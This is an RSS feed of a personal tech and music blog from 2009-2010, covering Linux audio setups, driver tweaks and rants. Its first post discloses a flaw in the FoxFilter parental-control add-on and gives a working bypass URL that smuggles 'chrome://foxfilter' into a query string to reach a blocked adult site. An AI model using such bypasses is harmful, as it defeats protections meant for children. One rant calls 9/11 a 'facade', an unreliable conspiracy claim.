<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Navaho Gunleg</title>
	<atom:link href="http://navahogunleg.net/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://navahogunleg.net/blog</link>
	<description>...where the most significant bytes...</description>
	<lastBuildDate>Thu, 25 Feb 2010 12:55:55 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>FoxFilter so easily defeated it&#8217;s ridiculous ;)</title>
		<link>http://navahogunleg.net/blog/2010/02/25/foxfilter-so-easily-defeated-its-ridiculous/</link>
		<comments>http://navahogunleg.net/blog/2010/02/25/foxfilter-so-easily-defeated-its-ridiculous/#comments</comments>
		<pubDate>Thu, 25 Feb 2010 12:55:55 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Computers & Hardware]]></category>
		<category><![CDATA[Internet & Technology]]></category>
		<category><![CDATA[Security & Privacy]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=1001</guid>
		<description><![CDATA[FoxFilter 7.6.1 so easily defeated it's ridiculous!
]]></description>
			<content:encoded><![CDATA[<p>I was tinkering with Firefox, trying to get something to work. I wanted to do something between certain events, rather that on those specific events.</p>
<p>Anyway, deciding I&#8217;d take a little peek in the first random Firefox filtering plugin that I could find, downloaded it from &#8220;some site&#8221;, and unpacked the XPI. </p>
<p>This <em>immediately</em> caught my eye, and any coders should see the obvious error:</p>
<blockquote><pre>    //don't hide page if within FoxFilter mgmt pages
    if(aURI.spec.indexOf("chrome://foxfilter") != -1)
        return;
</pre>
</blockquote>
<p>That is definitely not the way to check for such an URL. Quite a &#8220;beginners&#8221; error actually. I wanted to confirm this makes the whole filter useless, but was incorrectly thinking that I had to register first before using the plugin &#8212; so closed the browser and deleted the add-on.</p>
<p>Later I thought differently, and couldn&#8217;t resist finding it again and re-installing it. This time I downloaded it from the Mozilla Add-On site; and an agreement I had to agree to. Oh well&#8230;</p>
<p>There this caught my eye though: &#8220;<em>The FoxFilter Team has spent HUNDREDS of hours in development, maintenance and support of FoxFilter. We are very proud of our product and are very happy that is helping protect children, teens AND adults from inappropriate content on the Internet.</em>&#8220;. </p>
<p>Hundreds of hours missed that obvious error? Took me barely 5 seconds&#8230; <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  OK enough with the being cocky already&#8230; </p>
<p>Anyway, downloaded the thing again; re-installed it and confirmed filtering was succesful when I went to &#8220;http://www.playboy.com&#8221;. </p>
<p>And, confirmed that it horribly failed on &#8220;http://www.playboy.com/<strong>?chrome://foxfilter</strong>&#8220;. </p>
<p>Yep, it is <em>that</em> easy. Then to think people pay for something it cannot really do (well until it is patched of course):</p>
<blockquote><p>Premium Features</p>
<p>In addition to all of the great filtering features that have always been free of charge, we also offer security features as part of our premium service. Security features provide you with <strong>the ability to secure your settings with a password and prevent FoxFilter from being bypassed, uninstalled or disabled</strong>. A small support fee is required to obtain a registration code which enables the security features.</p></blockquote>
<p>I&#8217;ve always thought that one should never, <em>ever</em>, trust software to do things that they claim to do <em>properly</em>. Even the most advanced logic could be bypassed by a silly mistake before it even reaches your advanced logic. If you got the chance to check it out, you <em>should</em> &#8212; just to prevent surprises in the future&#8230;</p>
<p>OK back into my lair&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2010/02/25/foxfilter-so-easily-defeated-its-ridiculous/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Script to disable the OOM killer on certain processes</title>
		<link>http://navahogunleg.net/blog/2010/02/19/script-to-disable-the-oom-killer-on-certain-processes/</link>
		<comments>http://navahogunleg.net/blog/2010/02/19/script-to-disable-the-oom-killer-on-certain-processes/#comments</comments>
		<pubDate>Fri, 19 Feb 2010 08:17:15 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Computers & Hardware]]></category>
		<category><![CDATA[HOWTOs]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=994</guid>
		<description><![CDATA[My LinuxSampler set-up was having odd crashes lately. Took a while to figure to they were caused by the OOM killer killing the process. (Granted, not weird if you only have 256MB of RAM&#8230;)
Quite annoying, I do not want that process to die (nor the &#8220;jackd&#8221; process).
After having stumbled upon this page about the OOM [...]]]></description>
			<content:encoded><![CDATA[<p>My LinuxSampler set-up was having odd crashes lately. Took a while to figure to they were caused by the OOM killer killing the process. (Granted, not weird if you only have 256MB of RAM&#8230;)</p>
<p>Quite annoying, I do not want that process to die (nor the &#8220;jackd&#8221; process).</p>
<p>After having stumbled upon <a href="http://linux-mm.org/OOM_Killer">this page about the OOM killer</a>, I wrote <a href="http://navahogunleg.net/other_files/no_oom_killer.sh">this little</a> script, which I run just after jackd and linuxsampler have set-up (as root of course). </p>
<p>It&#8217;ll write the value <strong>-17</strong> (OOM_DISABLE) to <em>/proc/&lt;pid&gt;/oom_adj</em> for selected process-names and this ought to prevent the OOM killer from ever targeting that process.</p>
<p>Haven&#8217;t seen it crashing on me since &#8212; but of course, your mileage may very&#8230; <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2010/02/19/script-to-disable-the-oom-killer-on-certain-processes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Woot! :-)</title>
		<link>http://navahogunleg.net/blog/2010/02/16/woot/</link>
		<comments>http://navahogunleg.net/blog/2010/02/16/woot/#comments</comments>
		<pubDate>Tue, 16 Feb 2010 18:25:58 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Arts & Poetry]]></category>
		<category><![CDATA[Music]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=965</guid>
		<description><![CDATA[My audio set-up of two real-time capable machines finally works correctly and am now able to actually record compositions.]]></description>
			<content:encoded><![CDATA[<p>In recent months I&#8217;ve been taking up my old &#8220;audio hobby&#8221;&#8230; I&#8217;m Dutch, so, <em>it shouldn&#8217;t cost much</em> &#8212; the reason I&#8217;m using open-source only. </p>
<p>The hardware collection is slowly growing (still in the process of acquiring all the basics though). The most recent addition was a 61-keys USB MIDI keyboard. I always wanted to have a velocity-sensitive keyboard since I was a young kid. Back in the days those things were awfully expensive and now they are very reasonably priced! (Next obstacle: actually <em>learn</em> to play the damn thing. <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> )</p>
<p>Anyway, <em>almost</em> everything in the set-up works fine. I could play back my compositions &#8212; but the &#8216;jackrec&#8217; utility was inserting static after 10 or 15 seconds (always at about the same time, but it depended on the buffer size that I used). </p>
<p>This prevented me from getting a whole piece olayed back and recorded into a file. Kind of a bummer, that being the most essential part of the process&#8230;</p>
<p>Before debugging it myself, I tried compiling a more recent version which &#8220;just works&#8221; perfectly. So that was cool. <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Having updated LinuxSampler recently as well, today I have been testing out the complete set-up of &#8220;new&#8221; audio software to get to grips with the &#8220;mastering process&#8221; to get Rosegarden compositions into a portable format like WAV and MP3.</p>
<p>My Rosegarden app is running on a real-time kernel and it uses MIDI (over network transport with JACK) to talk to my LinuxSampler running on another machine (also a real-time kernel)&#8230; Latency isn&#8217;t that bad at all. (But I do have the machines on a seperate switch so they don&#8217;t have to deal with all the other network traffic.)</p>
<p>I free-styled a short little piece with, at times, a hideously out-of-tune accompaniment (I didn&#8217;t care to re-do it or to tweak it). I <em>did</em> care about the even more hideous percussion track &#8212; which I have muted in the final file below.</p>
<p>The Reverb and EQ-ing is done real-time with &#8216;jack-rack&#8217;, but that is something that I really need to do later in the process. Not only would it reduce load and latency; doing it later would allow me access to some <em>non-realtime</em> LADSPA plugins (with Audacity).</p>
<p>BTW, speaking of Audacity, one of the most cool features is, when zoomed in at a high level, you can use a <em>draw</em> tool to polish away clicks and pops. </p>
<p>The original recording of the &#8220;mastered&#8221; file had one distinct click that I could get rid of in such a way.</p>
<p><a href="http://navahogunleg.net/other_files/freestyle_piano_20100216.mp3">Check it out</a> &#8212; it&#8217;s free &#8220;music&#8221;! (Yeh, you get what you pay for <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> )</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2010/02/16/woot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://navahogunleg.net/other_files/freestyle_piano_20100216.mp3" length="1306752" type="audio/mpeg" />
		</item>
		<item>
		<title>That&#8217;s Microsoft, allright&#8230;</title>
		<link>http://navahogunleg.net/blog/2009/12/28/thats-microsoft-allright/</link>
		<comments>http://navahogunleg.net/blog/2009/12/28/thats-microsoft-allright/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 12:57:45 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Belegana]]></category>
		<category><![CDATA[Conspiracies]]></category>
		<category><![CDATA[Interesting Links]]></category>
		<category><![CDATA[Internet & Technology]]></category>
		<category><![CDATA[Media, Religion & Politics]]></category>
		<category><![CDATA[Random Rantings]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=960</guid>
		<description><![CDATA[Sickening stuff: How to Get Your Platform Accepted as a Standard &#8211; Microsoft Style
Next time somebody believes your usage of the dollar sign when typing &#8220;MS&#8221; is childish, re-direct those people to that article&#8230;.
&#8216;Nuff said&#8230;  
]]></description>
			<content:encoded><![CDATA[<p>Sickening stuff: <a href="http://www.groklaw.net/article.php?story=20071023002351958">How to Get Your Platform Accepted as a Standard &#8211; Microsoft Style</a></p>
<p>Next time somebody believes your usage of the dollar sign when typing &#8220;MS&#8221; is childish, re-direct those people to that article&#8230;.</p>
<p>&#8216;Nuff said&#8230; <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2009/12/28/thats-microsoft-allright/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sean, have you read this?</title>
		<link>http://navahogunleg.net/blog/2009/12/01/sean-have-you-read-this/</link>
		<comments>http://navahogunleg.net/blog/2009/12/01/sean-have-you-read-this/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 08:22:58 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Belegana]]></category>
		<category><![CDATA[Random Rantings]]></category>
		<category><![CDATA[Sad Stuff]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=955</guid>
		<description><![CDATA[Soylent Green is coming.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://science.slashdot.org/story/09/11/30/1923204/Scientists-Create-Artificial-Meat">Soylent Green is coming</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2009/12/01/sean-have-you-read-this/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ouch, McKinnon extradition emminent&#8230;</title>
		<link>http://navahogunleg.net/blog/2009/11/30/ouch-mckinnon-extradition-emminent/</link>
		<comments>http://navahogunleg.net/blog/2009/11/30/ouch-mckinnon-extradition-emminent/#comments</comments>
		<pubDate>Mon, 30 Nov 2009 15:09:59 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Belegana]]></category>
		<category><![CDATA[Freedom & Repression]]></category>
		<category><![CDATA[Random Rantings]]></category>
		<category><![CDATA[Sad Stuff]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=938</guid>
		<description><![CDATA[Who the fuck were they trying to kid anyway &#8212; trying to prevent the USA from getting their scapegoat: Gary McKinnon is to be extradited to US.
If he is prevented from committing suicide, and if he&#8217;s technically any good, he is most probably going to end up working for the US army. 
Either way, good [...]]]></description>
			<content:encoded><![CDATA[<p>Who the fuck were they trying to kid anyway &#8212; trying to prevent the USA from getting their scapegoat: <a href="http://www.guardian.co.uk/world/2009/nov/26/computer-hacker-gary-mckinnon-extradition">Gary McKinnon is to be extradited to US</a>.</p>
<p>If he is prevented from committing suicide, and if he&#8217;s technically any good, he is most probably going to end up working for the US army. </p>
<p>Either way, good bye Gary, and do whatever you got to do&#8230; </p>
<p>&lt;rant&gt;<br />
I know your story shall not be forgotten. In fact, this is surely going to cause more agression towards the USA &#8212; which, of course, is exactly the plan: the more people upset with the US, the more people organise &#8212; which means that more groups of people can be targeted as &#8220;sleeper cells&#8221; and end-up as so-called non-combatants in some foreign prison getting humiliated&#8230;</p>
<p>The more we look at this and get used to it, the easier this excuse can be used to take out any voices of freedom. (Freedom != democracy &#8212; you could be called a non-thinking idiot to think otherwise.) From terrorists to the non-violent political groups &#8212; people arrested and never to be heard of again. This &#8220;movement&#8221; has been happening for almost a decade now &#8212; it started since that 9/11-facade and has been speeding up ever since. </p>
<p>Speeding items shall definitely run into a wall at some point, but I sincerely hope it won&#8217;t do too much damage to the not-so-guilty. (We&#8217;re all responsible for baking this global shitcake, actually&#8230;)<br />
&lt;/rant&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2009/11/30/ouch-mckinnon-extradition-emminent/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>nekobee &#8212; mapping the controls to the M-Audio X-Session Pro</title>
		<link>http://navahogunleg.net/blog/2009/11/25/nekobee-mapping-the-controls-to-the-m-audio-x-session-pro/</link>
		<comments>http://navahogunleg.net/blog/2009/11/25/nekobee-mapping-the-controls-to-the-m-audio-x-session-pro/#comments</comments>
		<pubDate>Wed, 25 Nov 2009 15:53:49 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Computers & Hardware]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=931</guid>
		<description><![CDATA[I was tinkering with Nekobee today and wanted it to respond to the top two rows of 4 knobs each on my M-Audio X-Session Pro MIDI controller.  This, so I can easily tweak the sound using those knobs rather than using the mouse&#8230;
I had to use &#8216;midimon&#8217; to find the correct values and changed [...]]]></description>
			<content:encoded><![CDATA[<p>I was tinkering with <a href="http://www.nekosynth.co.uk/">Nekobee</a> today and wanted it to respond to the top two rows of 4 knobs each on my M-Audio X-Session Pro MIDI controller.  This, so I can easily tweak the sound using those knobs rather than using the mouse&#8230;</p>
<p>I had to use &#8216;midimon&#8217; to find the correct values and changed the defines in <strong>nekobee_synth.h</strong>.</p>
<p>After doing this, I found that the <em>Volume</em> knob was not responding correctly (it was not updating while I twisted it, nor did the sound change). I had to mess around in another file as well&#8230;</p>
<p>If you also want to be able to use the X-Session Pro mixer controller as a musical instrument: <a href="http://navahogunleg.net/other_files/nekobee_xsession_pro.diff">here is the patch</a>.</p>
<p>I was pleasantly surprised to notice that Rosegarden nicely records those tweaks as well, so if I play back my composition, the knobs in the interface turn, too. Nice <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>One word of warning though: this patch locks the controls to the X-Session Pro. In the event of other hardware and having changed these mappings again, all your old compositions in your favourite MIDI sequencer shall no longer play back like it sounded before. Keep this in mind&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2009/11/25/nekobee-mapping-the-controls-to-the-m-audio-x-session-pro/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Art Of Noise feat. RAKIM</title>
		<link>http://navahogunleg.net/blog/2009/11/20/the-art-of-noise-feat-rakim/</link>
		<comments>http://navahogunleg.net/blog/2009/11/20/the-art-of-noise-feat-rakim/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 08:22:10 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Arts & Poetry]]></category>
		<category><![CDATA[Interesting Links]]></category>
		<category><![CDATA[Music]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=925</guid>
		<description><![CDATA[Wow, under what stone have I been living?  
As a young kid I bought almost all the Art Of Noise&#8217;s music. Likewise, Rakim (of Eric B and Rakim fame) has been an inspiration as well&#8230;
And I only just now discovered they once did a collaboration together&#8230; Sweet!  

]]></description>
			<content:encoded><![CDATA[<p>Wow, under what stone have I been living? <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>As a young kid I bought almost all the Art Of Noise&#8217;s music. Likewise, Rakim (of Eric B and Rakim fame) has been an inspiration as well&#8230;</p>
<p>And I only just now discovered they once did a collaboration together&#8230; Sweet! <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p><object width="500" height="405"><param name="movie" value="http://www.youtube-nocookie.com/v/fENQF0C7Jso&#038;hl=en_US&#038;fs=1&#038;border=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/fENQF0C7Jso&#038;hl=en_US&#038;fs=1&#038;border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="500" height="405"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2009/11/20/the-art-of-noise-feat-rakim/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>knobs-20091116 (Mixxx)</title>
		<link>http://navahogunleg.net/blog/2009/11/16/knobs-20091116-mixxx/</link>
		<comments>http://navahogunleg.net/blog/2009/11/16/knobs-20091116-mixxx/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 15:47:50 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Computers & Hardware]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=907</guid>
		<description><![CDATA[I once decided to create new skin for Mixxx a long time ago. 
But never gotten further than the actual script that generates all the different states of a &#8220;volume knob&#8221;:

As I never shall get around to finishing my own skin anyway, I have posted a sample of these knobs to the Mixxx mailing list [...]]]></description>
			<content:encoded><![CDATA[<p>I once decided to create new skin for Mixxx a long time ago. </p>
<p>But never gotten further than the actual script that generates all the different states of a &#8220;volume knob&#8221;:<br />
<center><img src="/img/mixxx-knobs-20091116c.jpg"/></center></p>
<p>As I never shall get around to finishing my own skin anyway, I have posted a sample of these knobs to the Mixxx mailing list for comments as I believe they can make Mixxx look better.</p>
<p>Since then, some comments have been applied and a seperate &#8216;balance knob&#8217; is now rendered.</p>
<p>These buttons can be used as replacement buttons for the outlineNetbook skin, or any other skin that uses 29&#215;29 size buttons.</p>
<p><strong>Updated:</strong> The balance knob, when centered shows a single green led and the marker line is now darker.</p>
<p>If you want to use them as well: <a href="/other_files/knobs-20091116b.tar.gz">here it is</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2009/11/16/knobs-20091116-mixxx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Native Instruments AUDIO4DJ &amp; jackd &amp; mixxx</title>
		<link>http://navahogunleg.net/blog/2009/11/12/native-instruments-audio4dj-jackd-mixxx/</link>
		<comments>http://navahogunleg.net/blog/2009/11/12/native-instruments-audio4dj-jackd-mixxx/#comments</comments>
		<pubDate>Thu, 12 Nov 2009 13:54:00 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Computers & Hardware]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=883</guid>
		<description><![CDATA[I&#8217;ve been trying to optimise my laptop so I could get Mixxx, an open source DJ-ing application, to run on it smoothly. The only thing I hadn&#8217;t tried yet was using the JACK Audio Connection Kit, i.e. JACK. Word is that audio applications using JACK have very low latency.
The best I could get Mixxx to [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been trying to optimise my laptop so I could get <a href="http://www.mixxx.org">Mixxx</a>, an open source DJ-ing application, to run on it smoothly. The only thing I hadn&#8217;t tried yet was using the <a href="http://www.jackaudio.org">JACK Audio Connection Kit</a>, i.e. JACK. Word is that audio applications using JACK have very low latency.</p>
<p>The best I could get Mixxx to run using ALSA devices was with 32 ms latency. And even then, audio still occasionally popped and cracked (worse even when the Nvidia driver was still using <a href="http://navahogunleg.net/blog/2009/11/11/nvidia-nvagpagpgart-module-woes/">agpgart</a>). </p>
<p>Popping and cracking kinda ruins the whole experience, so the potential performance benefit of a functioning JACK set-up is something that I &#8220;needed&#8221;. </p>
<p><strong>Not working <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </strong><br />
For some reason though, initially, I could not get Mixxx and JACK work nicely together with my AUDIO4DJ audio interface.</p>
<p>This USB audio interface has 2 stereo in- and outputs; and I could only get either 1 output and 1 input. Without a headphone output and a 2nd input for vinyl control using JACK would render the whole set-up useless&#8230;</p>
<p>Some Googling did reveal some hints, like modifying the <em>/etc/asound.conf</em> file. I thought I had already done that earlier; but apparently this does not work with JACK. </p>
<p>See, my &#8220;old&#8221; asound.conf split the audio device up to <em>two</em> devices (I used one for the Master, and the other one for the Headphone output in Mixxx.) JACK can only handle one (or I am doing something wrong), so that had to be changed&#8230;</p>
<p>Solutions suggested in <a href="http://www.native-instruments.com/forum/showthread.php?p=575414">this thread on the NI forums</a> did not work for me either, I ended up with the same problem basically: only one input and one output. </p>
<p><strong>Working! <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </strong><br />
That thread <em>did</em> give me a hint to the solution &#8212; the following <em>/etc/asound.conf</em>, works for me like it should: it exposes a single &#8220;AUDIO4DJ&#8221; device, which binds stereo channels A and B to it:<br />
<code>pcm.AUDIO4DJ {<br />
&nbsp;&nbsp;&nbsp;&nbsp;type multi<br />
&nbsp;&nbsp;&nbsp;&nbsp;# bind hardware devices<br />
&nbsp;&nbsp;&nbsp;&nbsp;slaves.a.pcm "hw:0,0,0"<br />
&nbsp;&nbsp;&nbsp;&nbsp;slaves.a.channels 2<br />
&nbsp;&nbsp;&nbsp;&nbsp;slaves.b.pcm "hw:0,0,1"<br />
&nbsp;&nbsp;&nbsp;&nbsp;slaves.b.channels 2<br />
&nbsp;&nbsp;&nbsp;&nbsp;# bind channels to virtual device<br />
&nbsp;&nbsp;&nbsp;&nbsp;bindings.0.slave a<br />
&nbsp;&nbsp;&nbsp;&nbsp;bindings.0.channel 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;bindings.1.slave a<br />
&nbsp;&nbsp;&nbsp;&nbsp;bindings.1.channel 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;bindings.2.slave b<br />
&nbsp;&nbsp;&nbsp;&nbsp;bindings.2.channel 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;bindings.3.slave b<br />
&nbsp;&nbsp;&nbsp;&nbsp;bindings.3.channel 1<br />
}<br />
</code><br />
(Note that slaves.b.pcm &#8220;hw:0,0,1&#8243; &#8212; which points it to the B channel.)</p>
<p>That way, I can now use that &#8220;AUDIODJ4&#8243; as a device-name in <strong>qjackctl</strong> as Input- and Output Device, each giving 4 channels (2 stereo channels).</p>
<p>If I now go into the Audio preferences in Mixxx, I can select channels 1-2 for the Master output and channels 3-4 for the Headphones. Similarly, for Vinyl Control, the first input deck can be put on channels 1-2 and the second on channels 3-4..</p>
<p>It took a bit of tinkering but, again, it was worth it! </p>
<p>Now that JACK is properly working and Mixxx can use it, vinyl control response is <em>amazing</em> and the audio playback is <em>exceptional</em> &#8212; I haven&#8217;t heard a pop or crack since!</p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2009/11/12/native-instruments-audio4dj-jackd-mixxx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NVIDIA nvagp/agpgart module woes&#8230;</title>
		<link>http://navahogunleg.net/blog/2009/11/11/nvidia-nvagpagpgart-module-woes/</link>
		<comments>http://navahogunleg.net/blog/2009/11/11/nvidia-nvagpagpgart-module-woes/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 12:20:44 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[Computers & Hardware]]></category>
		<category><![CDATA[HOWTOs]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=872</guid>
		<description><![CDATA[So I was trying to optimise a laptop for audio playback and wanted the NVIDIA driver to use the its own NvAGP rather than the linux supplied &#8216;agpgart&#8217; module. The reason being that the performance may be better, and I have this obsession with optimisation&#8230;  
This wasn&#8217;t as easy as it seemed as for [...]]]></description>
			<content:encoded><![CDATA[<p>So I was trying to optimise a laptop for audio playback and wanted the NVIDIA driver to use the its own NvAGP rather than the linux supplied &#8216;agpgart&#8217; module. The reason being that the performance may be better, and I have this obsession with optimisation&#8230; <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>This wasn&#8217;t as easy as it seemed as for some reason, blacklisting the &#8216;agpgart&#8217; module did not seem to have <em>any</em> effect.</p>
<p><strong>Why is it still loading the agpgart driver?</strong><br />
Running &#8220;modprobe -nv nvidia&#8221; it showed that it kept depending on the &#8216;agpgart&#8217; module somehow.</p>
<p>A quick Google only showed other people having the problem, but alas, no solution.</p>
<p>Further poking around, I noticed when doing a &#8220;depmod -v&#8221; &#8212; which outputs module dependencies to standard out &#8212; that the nvidia module indeed depended on it. </p>
<p><strong>Aha!</strong><br />
Hmmm&#8230; So I dove into the NVIDIA driver source (which I had to modify for a real-time kernel anyways, so the unpacked nvidia installer package was still on my system), and noticed the culprit. </p>
<p>The nv-linux.h file contains the following lines:<br />
<code>#if defined (CONFIG_AGP) || defined (CONFIG_AGP_MODULE)<br />
#define AGPGART<br />
#include &lt;linux/agp_backend.h&gt;<br />
#include &lt;linux/agpgart.h&gt;<br />
#endif</code><br />
The CONFIG_AGP and CONFIG_AGP_MODULE it gets from your kernel configuration and presumably, this is what compiles in stuff that makes it depend on the &#8216;agpgart&#8217; module. I put those lines in as /* comments */ and tried loading the module.</p>
<p>Indeed, it now does not depend on &#8216;agpgart&#8217; anymore and shall use &#8216;nvagp&#8217; now. And the time spent on it was worth it: I even got about 200 frames per second increase with glxgears. <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_razz.gif' alt=':-P' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://navahogunleg.net/blog/2009/11/11/nvidia-nvagpagpgart-module-woes/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>NG-BASIC is moving!</title>
		<link>http://navahogunleg.net/blog/2009/01/26/ng-basic-is-moving/</link>
		<comments>http://navahogunleg.net/blog/2009/01/26/ng-basic-is-moving/#comments</comments>
		<pubDate>Mon, 26 Jan 2009 08:27:40 +0000</pubDate>
		<dc:creator>Navaho Gunleg</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Interesting Links]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://navahogunleg.net/blog/?p=803</guid>
		<description><![CDATA[Hi there people!
Interesting times ahead for my pet project NG-BASIC! 
After long deliberation I have decided to transfer the ownership; transfer the ownership to a new owner that is going to breathe fresh life into the project. 
It shall be actively developed on &#8212; something which I can&#8217;t do anymore as I seem to be [...]]]></description>
			<content:encoded><![CDATA[<p>Hi there people!</p>
<p>Interesting times ahead for my pet project NG-BASIC! </p>
<p>After long deliberation I have decided to transfer the ownership; transfer the ownership to a new owner that is going to breathe fresh life into the project. </p>
<p>It shall be <em>actively</em> developed on &#8212; something which I can&#8217;t do anymore as I seem to be wasting more and more spare time on work. <img src='http://navahogunleg.net/blog/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>I must say it feels weird to let go of it&#8230; I guess it&#8217;s similar to what an artist feels when he sells a painting (well I like to think so anyway). </p>
<p>When I initially wrote it I never expected <em>anyone</em> to be interested at all. Perhaps one or two like-minded people &#8212; I did not expect more for a &#8220;toy&#8221; programming language.</p>
<p>The emails I got and the amount of downloads over the years show differently: there&#8217;s still quite an interest in BASIC, be it because of the geekiness of it running in a browser; to quickly get some calculations done; to explain somebody the basics of a programming concept; or &#8212; for people born in the 70s and 80s &#8212; just out of pure nostalgia.</p>
<p>So, that&#8217;s all very cool and I&#8217;m glad that people enjoyed it and hope they will do so in the future.</p>
<p>I believe it will be in good hands at <a href="http://www.ngbasic.com/">its new home</a>. In a different context (read: not on my personal weblog with, for perhaps some people some non-subtle opinions) it can even reach a broader audience&#8230;</p>
